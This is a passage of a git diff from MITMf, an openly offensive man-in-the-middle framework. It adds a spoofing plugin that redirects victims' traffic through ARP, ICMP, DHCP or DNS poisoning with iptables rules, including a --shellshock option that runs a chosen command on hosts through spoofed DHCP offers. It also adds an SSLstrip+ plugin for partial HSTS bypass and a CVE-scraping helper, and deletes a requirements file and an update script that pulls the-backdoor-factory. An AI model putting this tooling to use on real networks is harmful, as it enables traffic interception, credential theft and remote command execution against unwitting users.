+ if iptables().dns is False:
+ iptables().DNS(self.config['MITMf']['DNS']['port'])
+
+ if not options.arp and not options.icmp and not options.dhcp and not options.dns:
+ shutdown("[Spoof] Spoof plugin requires --arp, --icmp, --dhcp or --dns")
+
+ set_ip_forwarding(1)
+
+ if not options.manualiptables:
+ if iptables().http is False:
+ iptables().HTTP(options.listen_port)
+
+ for protocol in self.protocol_instances:
+ protocol.start()
+
+ def options(self, options):
+ group = options.add_mutually_exclusive_group(required=False)
+ group.add_argument('--arp', dest='arp', action='store_true', help='Redirect traffic using ARP spoofing')
+ group.add_argument('--icmp', dest='icmp', action='store_true', help='Redirect traffic using ICMP redirects')
+ group.add_argument('--dhcp', dest='dhcp', action='store_true', help='Redirect traffic using DHCP offers')
+ options.add_argument('--dns', dest='dns', action='store_true', help='Proxy/Modify DNS queries')
+ options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command')
+ options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP')
+ options.add_argument('--targets', dest='targets', help='Specify host/s to poison [if ommited will default to subnet]')
+ options.add_argument('--ignore', dest='ignore', help='Specify host/s not to poison')
+ options.add_argument('--arpmode',type=str, dest='arpmode', default='rep', choices=["rep", "req"], help=' ARP Spoofing mode: replies (rep) or requests (req) [default: rep]')
+
+ def on_shutdown(self):
+ from core.utils import iptables, set_ip_forwarding
+
+ for protocol in self.protocol_instances:
+ if hasattr(protocol, 'stop'):
+ protocol.stop()
+
+ if not self.manualiptables:
+ iptables().Flush()
+
+ set_ip_forwarding(0)
diff --git a/plugins/sslstrip+.py b/plugins/sslstrip+.py
new file mode 100644
index 0000000..5a33d9c
--- /dev/null
+++ b/plugins/sslstrip+.py
@@ -0,0 +1,49 @@
+# Copyright (c) 2014-2016 Marcello Salvati
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 3 of the
+# License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+# General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
+# USA
+#
+
+import sys
+from plugins.plugin import Plugin
+
+class SSLstripPlus(Plugin):
+ name = 'SSLstrip+'
+ optname = 'hsts'
+ desc = 'Enables SSLstrip+ for partial HSTS bypass'
+ version = "0.4"
+ tree_info = ["SSLstrip+ by Leonardo Nve running"]
+ has_opts = False
+
+ def initialize(self, options):
+ self.options = options
+ self.manualiptables = options.manualiptables
+
+ from core.sslstrip.URLMonitor import URLMonitor
+ from core.servers.dns.DNSchef import DNSChef
+ from core.utils import iptables
+
+ if not options.manualiptables:
+ if iptables().dns is False:
+ iptables().DNS(self.config['MITMf']['DNS']['port'])
+
+ URLMonitor.getInstance().setHstsBypass()
+ DNSChef().setHstsBypass()
+
+ def on_shutdown(self):
+ from core.utils import iptables
+ if not self.manualiptables:
+ if iptables().dns is True:
+ iptables().Flush()
diff --git a/requirements.txt b/requirements.txt
deleted file mode 100644
index d493548..0000000
--- a/requirements.txt
+++ /dev/null
@@ -1,17 +0,0 @@
-Twisted
-requests
-netaddr
-scapy
-dnspython
-cryptography
-pycrypto
-msgpack-python
-configobj
-mitmflib
-Pillow
-pefile
-ipy
-pyopenssl
-service_identity
-capstone
-pypcap
diff --git a/tools/cve-details-parser.py b/tools/cve-details-parser.py
new file mode 100755
index 0000000..db454b3
--- /dev/null
+++ b/tools/cve-details-parser.py
@@ -0,0 +1,32 @@
+#! /usr/bin/env python2
+
+import requests
+import lxml.html
+import sys
+
+r = requests.get(sys.argv[1])
+tree = lxml.html.fromstring(r.text)
+
+try:
+
+ vulntable = tree.xpath('//table[@id="vulnprodstable"]/*')
+ list_len = len(vulntable)
+
+ tuple_list = []
+
+ for i in vulntable[2:list_len]:
+ java_v = (i.getchildren()[4].text.strip(), i.getchildren()[5].text.strip()[6:].strip())
+ tuple_list.append(java_v)
+
+except IndexError:
+ pass
+
+string_list = []
+for v in sorted(set(tuple_list)):
+ version, update = v
+ if update:
+ string_list.append("{}.{}".format(version, update))
+ else:
+ string_list.append(version)
+
+print ', '.join(string_list)
\ No newline at end of file
diff --git a/update.sh b/update.sh
deleted file mode 100755
index 4781f30..0000000
--- a/update.sh
+++ /dev/null
@@ -1,11 +0,0 @@
-#!/usr/bin/env bash
-if [[ $EUID -ne 0 ]]; then
- echo "You must root" 2>&1
- exit 1
-fi
-
-echo 'Updating MITMf'
-git pull
-echo 'Updating the-backdoor-factory'
-cd libs/bdfactory/
-git pull origin master